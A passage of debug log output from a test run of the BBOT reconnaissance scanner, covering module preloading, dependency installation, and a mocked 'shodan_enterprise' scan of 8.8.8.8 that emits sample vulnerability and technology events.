bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:05:59,685 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:05:59,685 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:05:59,686 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:05:59,687 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:05:59,687 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:05:59,688 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:05:59,689 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:05:59,692 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:05:59,693 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:05:59,694 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:05:59,694 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:05:59,695 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:05:59,695 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:05:59,696 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:05:59,697 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:05:59,698 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:05:59,698 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:05:59,699 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:05:59,700 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:05:59,701 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:05:59,701 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:05:59,702 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:05:59,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:05:59,704 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:05:59,705 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:05:59,706 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:05:59,706 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:05:59,707 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:05:59,708 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:05:59,708 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:05:59,709 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:05:59,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:05:59,710 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:05:59,711 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:05:59,712 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:05:59,712 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:05:59,713 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:05:59,714 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:05:59,714 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:05:59,715 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:05:59,716 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:05:59,716 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:05:59,717 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:05:59,717 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:05:59,718 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:05:59,719 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:05:59,719 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:05:59,720 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:05:59,721 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:05:59,721 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:05:59,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:05:59,723 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:05:59,724 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:05:59,724 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:05:59,725 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:06:00,553 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:06:00,554 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:06:00,554 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:06:00,654 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:06:01,051 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:06:01,052 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:06:01,184 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:06:01,185 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:06:01,293 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:06:01,295 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:06:01,320 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:06:01,322 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:06:01,322 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:06:01,744 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:06:01,745 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:06:06,116 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:06:06,138 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:06:06,157 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:06:08,944 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:06:08,945 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:06:08,948 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:06:08,949 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:06:08,949 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:06:08,949 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:06:08,950 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:06:08,952 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/wzypcfajjsq0nomm1waf +2026-03-02 09:06:09,773 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:06:09,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:06:09,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:06:09,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:06:09,775 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:06:09,843 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:06:09,843 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:06:09,843 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:06:09,844 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:06:09,845 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:06:09,845 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:06:09,845 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:06:09,846 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:06:09,846 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:06:09,846 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:06:09,846 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:06:09,847 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:06:09,847 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:06:09,847 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:06:09,848 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:06:09,849 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:06:09,849 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:06:09,850 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:06:09,850 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:06:09,851 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:06:09,851 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:06:09,852 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:06:09,853 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:06:09,853 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:06:09,853 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:06:09,853 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:06:09,853 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:06:09,935 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_p5zhnund7e +2026-03-02 09:06:09,935 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:06:10,003 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:06:10,003 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:06:10,003 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:06:10,004 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:06:10,105 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:06:10,106 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:06:10,106 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:06:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check +2026-03-02 09:06:10,107 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) +2026-03-02 09:06:10,108 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:06:10,108 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:06:10,109 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,109 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:06:10,110 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:06:10,110 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,111 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:06:10,111 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,112 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:06:10,112 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:06:10,115 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,116 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:06:10,116 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,117 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,117 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:06:10,117 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) because precheck succeeded +2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:06:10,118 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,120 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-03-02 09:06:10,205 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:06:10,206 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:58d91d7e4ee5ba60c2c74f3351e8afa3d57377d5', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:06:10,207 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) from TARGET +2026-03-02 09:06:10,207 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) passed post-check +2026-03-02 09:06:10,211 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check +2026-03-02 09:06:10,212 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,213 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,214 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,214 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) passed post-check +2026-03-02 09:06:10,215 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,215 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) passed post-check +2026-03-02 09:06:10,215 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'in-scope', 'high'}) +2026-03-02 09:06:10,216 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) in-scope because its main host matches the scan target +2026-03-02 09:06:10,216 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'web-servers'}) +2026-03-02 09:06:10,217 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'dns', 'nameserver', 'in-scope'}) passed post-check +2026-03-02 09:06:10,217 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting 